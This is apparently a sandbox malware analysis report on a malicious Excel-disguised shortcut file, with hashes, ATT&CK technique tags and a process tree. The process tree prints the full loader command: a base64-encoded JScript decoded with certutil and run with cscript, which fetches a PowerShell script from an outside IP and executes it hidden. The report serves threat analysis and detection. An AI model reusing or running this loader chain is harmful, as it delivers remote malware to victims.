067af2f12be3cb3e992d009c567a77e17a9f5956ed389f5483c54e85b08ac54c

Analysis

max time kernel
300s
max time network
18s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SpisokZatrimanih.xlsx.lnk
Size 19KB
Sample260724-eak41afq7x
SHA256 067af2f12be3cb3e992d009c567a77e17a9f5956ed389f5483c54e85b08ac54c
MD5 e0aa53b18cc03c43f34d7ba7adcb9984
SHA1 fe01c1bbe869c13e7624924f993d7486b94ea412
SHA512 16219537ecbf7a1c2c3bfdcf2eaf786f15e9961bcd3b67b4130b4285bdfad5d9da9675168efa029c3d5ed3307db901b060af51839a2c5a4a1759db69e26e411d
SSDEEP 24:8d/q3KqYrPPJWInZN2Vb7DBEpmJL7rGvlxPlpYZ+w+XXAiMz0k:8lWqBn61NE+L7C9bActg
TLSH
T1E192EB24B5F6014AF5F3EF766CF8BBC54E5BF6A2B63561452481020A4901E40EC5AF3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	1676	cscript.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
2952	cmd.exe
2584	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5796	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5796 wrote to memory of 2952	5796	cmd.exe	90
PID 2952 wrote to memory of 2584	2952	cmd.exe	91
PID 2952 wrote to memory of 1676	2952	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\SpisokZatrimanih.xlsx.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvd29yc2hpcHlva2UucHMxIixmYWxzZSk7aC5zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLUFnZW50IiwiVUEgV2luZG93c1Bvd2VyU2hlbGwiKTtoLnNlbmQoKTtuZXcgQWN0aXZlWE9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKS5TaGVsbEV4ZWN1dGUoInBvd2Vyc2hlbGwuZXhlIiwiLU5vUCAtVyBIaWRkZW4gLUMgIitoLnJlc3BvbnNlVGV4dCwiIiwib3BlbiIsMCk7 > Ig.dat && certutil -f -decode Ig.dat hxyF.js >nul && dir Ig.dat >nul && cscript //nologo //b hxyF.js && del Ig.dat hxyF.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\system32\certutil.exe
    certutil -f -decode Ig.dat hxyF.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:2584
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b hxyF.js
    3⤵
    - Badlisted process makes network request
    PID:1676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Ig.dat

Path C:\Users\Admin\AppData\Local\Temp\Ig.dat
Size 408B
SHA256 3d1d7ea3fae260be4b9173e2ecf7b6806a1387b5e54143b0911ab284de7dd117
MD5 87a32a1c258c22cf62261269770fde79
SHA1 e9845d3593059659556fd7bf9ec51a565c75975c
SHA512 9bcf82e22ee9b0766ee5bee34b4ffaff828d04a8aed61ed757ff7dcdb6777cbdb74fa60d35530162a5f37b9521b315b41598f5da1f999e171addbaa251b937f1
TLSH
T135E02BAA92034718952467133830639CC140CFE62BF22C2AA2223FC0140832FA84812C
MD5 SHA1 SHA512 TLSH

Submit Download

hxyF.js

Path C:\Users\Admin\AppData\Local\Temp\hxyF.js
Size 303B
SHA256 9ac9dcd2efbee382d67e0789540a8f4840e0780753ac732db3a3c372916de486
MD5 26bf775dcb112b75d35c1496624f5d61
SHA1 44e52fe26343c75b534376582bb4cb07c9f0c7ff
SHA512 dde24df7d8f2a500b03f2c39ea6cf998e406dcf43c6fa41dc3118d60b97b6f3882651482cdc7d2a9bd34f8f03bed0b775e50ba8a2f46285920c79bbb6ebcfd24
TLSH
T183E072644070A1DD90CB9FEC6460D66082EB80A6700AA8BFB749CEE42821244129E28E
MD5 SHA1 SHA512 TLSH